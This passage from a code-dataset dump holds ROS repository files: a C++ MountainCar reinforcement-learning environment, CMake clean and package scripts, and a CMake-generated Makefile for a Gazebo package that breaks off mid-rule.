Hester\n*/\n\n#include <rl_env/MountainCar.hh>\n\n \nMountainCar::MountainCar(Random &rand):\n noisy(false),\n rng(rand),\n s(2),\n pos(s[0]),\n vel(s[1]),\n linear(false),\n delay(0)\n{\n reset();\n //cout << *this << endl;\n}\n \n\nMountainCar::MountainCar(Random &rand, bool stochastic, bool lin, int delay):\n noisy(stochastic),\n rng(rand),\n s(2),\n pos(s[0]),\n vel(s[1]),\n linear(lin),\n delay(delay)\n{\n reset();\n}\n\n\nMountainCar::~MountainCar() { }\n\nconst std::vector<float> &MountainCar::sensation() const { \n //cout << \"At state \" << s[0] << \", \" << s[1] << endl;\n\n return s; \n}\n\nfloat MountainCar::apply(int action) {\n\n //cout << \"Taking action \" << action << endl;\n\n float actVal = ((float)action-1.0);\n if (noisy){\n actVal += rng.uniform(-0.5, 0.5);\n }\n\n float newVel = vel;\n if (linear){\n // for now, make this linear\n newVel = vel + 0.001 * actVal + -0.0075*pos;\n } else {\n newVel = vel + 0.001 * actVal + -0.0025*cos(3.0*pos);\n }\n\n newVel = bound(newVel, -0.07, 0.07);\n\n float newPos = pos + vel;\n if (newPos < -1.2f && newVel < 0.0f)\n newVel = 0.0;\n newPos = bound(newPos, -1.2, 0.6);\n\n pos = newPos;\n vel = newVel;\n\n if (delay > 0){\n posHistory.push_back(newPos);\n pos = posHistory.front();\n posHistory.pop_front();\n velHistory.push_back(newVel);\n vel = velHistory.front();\n velHistory.pop_front();\n // cout << \"new pos: \" << newPos << \" observed: \" << pos << endl;\n //cout << \"new vel: \" << newVel << \" observed: \" << vel << endl;\n }\n\n return reward();\n\n}\n\nfloat MountainCar::bound(float val, float min, float max){\n if (val < min)\n return min;\n if (val > max)\n return max;\n return val;\n}\n\n\nfloat MountainCar::reward() {\n \n // normally -1 and 0 on goal\n if (terminal())\n return 0;\n else \n return -1;\n \n}\n\n\nbool MountainCar::terminal() const {\n // current position equal to goal??\n return (pos >= 0.6); \n}\n\n\n\nvoid MountainCar::reset() {\n\n if (noisy){\n pos = rng.uniform(-1.2, 0.59);\n vel = rng.uniform(-0.07, 0.07);\n } else {\n pos = 0;\n vel = 0;\n }\n\n pos = rng.uniform(-1.2, 0.59);\n vel = rng.uniform(-0.07, 0.07);\n\n if (delay > 0){\n posHistory.clear();\n velHistory.clear();\n for (int i = 0; i < delay; i++){\n posHistory.push_back(pos);\n velHistory.push_back(vel);\n }\n }\n\n}\n\n\nint MountainCar::getNumActions(){\n return 3;\n}\n\n\nvoid MountainCar::setSensation(std::vector<float> newS){\n if (s.size() != newS.size()){\n cerr << \"Error in sensation sizes\" << endl;\n }\n\n for (unsigned i = 0; i < newS.size(); i++){\n s[i] = newS[i];\n }\n}\n\nstd::vector<experience> MountainCar::getSeedings() {\n\n int origDelay = delay;\n delay = 0;\n\n // return seedings\n std::vector<experience> seeds;\n\n // two seeds of terminal state\n seeds.push_back(getExp(0.58, 0.03, 2));\n //seeds.push_back(getExp(0.57, 0.06, 2));\n\n // random seed of each action\n for (int i = 0; i < getNumActions(); i++){\n float p = rng.uniform(-1.2, 0.6);\n float v = rng.uniform(-0.07, 0.07);\n seeds.push_back(getExp(p, v, i));\n }\n\n delay = origDelay;\n\n reset();\n\n return seeds;\n\n}\n\nexperience MountainCar::getExp(float s0, float s1, int a){\n\n experience e;\n\n e.s.resize(2, 0.0);\n e.next.resize(2, 0.0);\n\n pos = s0;\n vel = s1;\n\n e.act = a;\n e.s = sensation();\n e.reward = apply(e.act);\n\n e.terminal = terminal();\n e.next = sensation();\n\n reset();\n\n return e;\n}\n\n\nvoid MountainCar::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n \n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 1.0);\n\n (*minFeat)[0] = -1.2;\n (*maxFeat)[0] = 0.6;\n\n (*minFeat)[1] = -0.07;\n (*maxFeat)[1] = 0.07;\n\n}\n\nvoid MountainCar::getMinMaxReward(float *minR,\n float *maxR){\n \n *minR = -1.0;\n *maxR = 0.0; \n \n}\n" }, { "alpha_fraction": 0.7932960987091064, "alphanum_fraction": 0.7960894107818604, "avg_line_length": 54.07692337036133, "blob_id": "21cce571247453b7c72bd71d72356df641fd6abf", "content_id": "5c5d138cda092a3a21c9dc254e31fcb4b59b243a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 716, "license_type": "no_license", "max_line_length": 108, "num_lines": 13, "path": "/build/ugv_course_gazebo_plugins/CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/ugv_course_gazebo_plugins_gencfg\"\n \"/home/justin/ros_test/devel/include/ugv_course_gazebo_plugins/GpsPluginConfig.h\"\n \"/home/justin/ros_test/devel/share/ugv_course_gazebo_plugins/docs/GpsPluginConfig.dox\"\n \"/home/justin/ros_test/devel/share/ugv_course_gazebo_plugins/docs/GpsPluginConfig-usage.dox\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/ugv_course_gazebo_plugins/cfg/GpsPluginConfig.py\"\n \"/home/justin/ros_test/devel/share/ugv_course_gazebo_plugins/docs/GpsPluginConfig.wikidoc\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/ugv_course_gazebo_plugins_gencfg.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7839506268501282, "alphanum_fraction": 0.790123462677002, "avg_line_length": 39.5625, "blob_id": "6488134069880bc963f91d6176c340b624d4a373", "content_id": "30f8ae0c27b01a7e521b781374171defba07fea4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 648, "license_type": "no_license", "max_line_length": 48, "num_lines": 16, "path": "/build/gmapping_example/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"gmapping_example\")\nset(gmapping_example_VERSION \"0.0.0\")\nset(gmapping_example_MAINTAINER \"abc <[email protected]>\")\nset(gmapping_example_PACKAGE_FORMAT \"1\")\nset(gmapping_example_BUILD_DEPENDS )\nset(gmapping_example_BUILD_EXPORT_DEPENDS )\nset(gmapping_example_BUILDTOOL_DEPENDS \"catkin\")\nset(gmapping_example_BUILDTOOL_EXPORT_DEPENDS )\nset(gmapping_example_EXEC_DEPENDS )\nset(gmapping_example_RUN_DEPENDS )\nset(gmapping_example_TEST_DEPENDS )\nset(gmapping_example_DOC_DEPENDS )\nset(gmapping_example_URL_WEBSITE \"\")\nset(gmapping_example_URL_BUGTRACKER \"\")\nset(gmapping_example_URL_REPOSITORY \"\")\nset(gmapping_example_DEPRECATED \"\")" }, { "alpha_fraction": 0.7767005562782288, "alphanum_fraction": 0.7781469821929932, "avg_line_length": 45.7623405456543, "blob_id": "0d237933834438156093354d595755d147ad2ae9", "content_id": "2cf9522bd307b5a002c32f38f34e40870dccc976", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 25580, "license_type": "no_license", "max_line_length": 214, "num_lines": 547, "path": "/build/roundbot_gazebo/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/roundbot_gazebo/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_nodejs.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ntrajectory_msgs_generate_messages_nodejs: roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : trajectory_msgs_generate_messages_nodejs\n\n# fast build rule for target.\ntrajectory_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_nodejs.dir/build.make roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_nodejs.dir/build\n.PHONY : trajectory_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_lisp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\ntrajectory_msgs_generate_messages_lisp: roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : trajectory_msgs_generate_messages_lisp\n\n# fast build rule for target.\ntrajectory_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_lisp.dir/build.make roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_lisp.dir/build\n.PHONY : trajectory_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_py.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\ngazebo_msgs_generate_messages_py: roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_py.dir/rule\n\n.PHONY : gazebo_msgs_generate_messages_py\n\n# fast build rule for target.\ngazebo_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_py.dir/build.make roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_py.dir/build\n.PHONY : gazebo_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_cpp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\ntrajectory_msgs_generate_messages_cpp: roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : trajectory_msgs_generate_messages_cpp\n\n# fast build rule for target.\ntrajectory_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_cpp.dir/build.make roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_cpp.dir/build\n.PHONY : trajectory_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_lisp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\ndynamic_reconfigure_generate_messages_lisp: roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_lisp.dir/rule\n\n.PHONY : dynamic_reconfigure_generate_messages_lisp\n\n# fast build rule for target.\ndynamic_reconfigure_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_lisp.dir/build.make roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_lisp.dir/build\n.PHONY : dynamic_reconfigure_generate_messages_lisp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/std_srvs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_py.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_py.dir/rule\n\n# Convenience name for target.\nstd_srvs_generate_messages_py: roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_py.dir/rule\n\n.PHONY : std_srvs_generate_messages_py\n\n# fast build rule for target.\nstd_srvs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_py.dir/build.make roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_py.dir/build\n.PHONY : std_srvs_generate_messages_py/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/std_srvs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_lisp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nstd_srvs_generate_messages_lisp: roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_lisp.dir/rule\n\n.PHONY : std_srvs_generate_messages_lisp\n\n# fast build rule for target.\nstd_srvs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_lisp.dir/build.make roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_lisp.dir/build\n.PHONY : std_srvs_generate_messages_lisp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/std_srvs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_eus.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nstd_srvs_generate_messages_eus: roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_eus.dir/rule\n\n.PHONY : std_srvs_generate_messages_eus\n\n# fast build rule for target.\nstd_srvs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_eus.dir/build.make roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_eus.dir/build\n.PHONY : std_srvs_generate_messages_eus/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_eus.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\ntrajectory_msgs_generate_messages_eus: roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_eus.dir/rule\n\n.PHONY : trajectory_msgs_generate_messages_eus\n\n# fast build rule for target.\ntrajectory_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_eus.dir/build.make roundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_eus.dir/build\n.PHONY : trajectory_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/gazebo_ros_gencfg.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/gazebo_ros_gencfg.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/gazebo_ros_gencfg.dir/rule\n\n# Convenience name for target.\ngazebo_ros_gencfg: roundbot_gazebo/CMakeFiles/gazebo_ros_gencfg.dir/rule\n\n.PHONY : gazebo_ros_gencfg\n\n# fast build rule for target.\ngazebo_ros_gencfg/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/gazebo_ros_gencfg.dir/build.make roundbot_gazebo/CMakeFiles/gazebo_ros_gencfg.dir/build\n.PHONY : gazebo_ros_gencfg/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_eus.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_eus.dir/rule\n\n# Convenience name for target.\ndynamic_reconfigure_generate_messages_eus: roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_eus.dir/rule\n\n.PHONY : dynamic_reconfigure_generate_messages_eus\n\n# fast build rule for target.\ndynamic_reconfigure_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_eus.dir/build.make roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_eus.dir/build\n.PHONY : dynamic_reconfigure_generate_messages_eus/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/std_srvs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_cpp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nstd_srvs_generate_messages_cpp: roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_cpp.dir/rule\n\n.PHONY : std_srvs_generate_messages_cpp\n\n# fast build rule for target.\nstd_srvs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_cpp.dir/build.make roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_cpp.dir/build\n.PHONY : std_srvs_generate_messages_cpp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_cpp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\ndynamic_reconfigure_generate_messages_cpp: roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_cpp.dir/rule\n\n.PHONY : dynamic_reconfigure_generate_messages_cpp\n\n# fast build rule for target.\ndynamic_reconfigure_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_cpp.dir/build.make roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_cpp.dir/build\n.PHONY : dynamic_reconfigure_generate_messages_cpp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_nodejs.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ndynamic_reconfigure_generate_messages_nodejs: roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_nodejs.dir/rule\n\n.PHONY : dynamic_reconfigure_generate_messages_nodejs\n\n# fast build rule for target.\ndynamic_reconfigure_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_nodejs.dir/build.make roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_nodejs.dir/build\n.PHONY : dynamic_reconfigure_generate_messages_nodejs/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/dynamic_reconfigure_gencfg.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/dynamic_reconfigure_gencfg.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/dynamic_reconfigure_gencfg.dir/rule\n\n# Convenience name for target.\ndynamic_reconfigure_gencfg: roundbot_gazebo/CMakeFiles/dynamic_reconfigure_gencfg.dir/rule\n\n.PHONY : dynamic_reconfigure_gencfg\n\n# fast build rule for target.\ndynamic_reconfigure_gencfg/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/dynamic_reconfigure_gencfg.dir/build.make roundbot_gazebo/CMakeFiles/dynamic_reconfigure_gencfg.dir/build\n.PHONY : dynamic_reconfigure_gencfg/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule\n\n# Convenience name for target.\ndynamic_reconfigure_generate_messages_py: roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule\n\n.PHONY : dynamic_reconfigure_generate_messages_py\n\n# fast build rule for target.\ndynamic_reconfigure_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/build.make roundbot_gazebo/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/build\n.PHONY : dynamic_reconfigure_generate_messages_py/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/std_srvs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_nodejs.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nstd_srvs_generate_messages_nodejs: roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_nodejs.dir/rule\n\n.PHONY : std_srvs_generate_messages_nodejs\n\n# fast build rule for target.\nstd_srvs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_nodejs.dir/build.make roundbot_gazebo/CMakeFiles/std_srvs_generate_messages_nodejs.dir/build\n.PHONY : std_srvs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_cpp.dir/rule\n.PHONY : roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\ngazebo_msgs_generate_messages_cpp: roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : gazebo_msgs_generate_messages_cpp\n\n# fast build rule for target.\ngazebo_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_cpp.dir/build.make roundbot_gazebo/CMakeFiles/gazebo_msgs_generate_messages_cpp.dir/build\n.PHONY : gazebo_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nroundbot_gazebo/CMakeFiles/trajectory_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 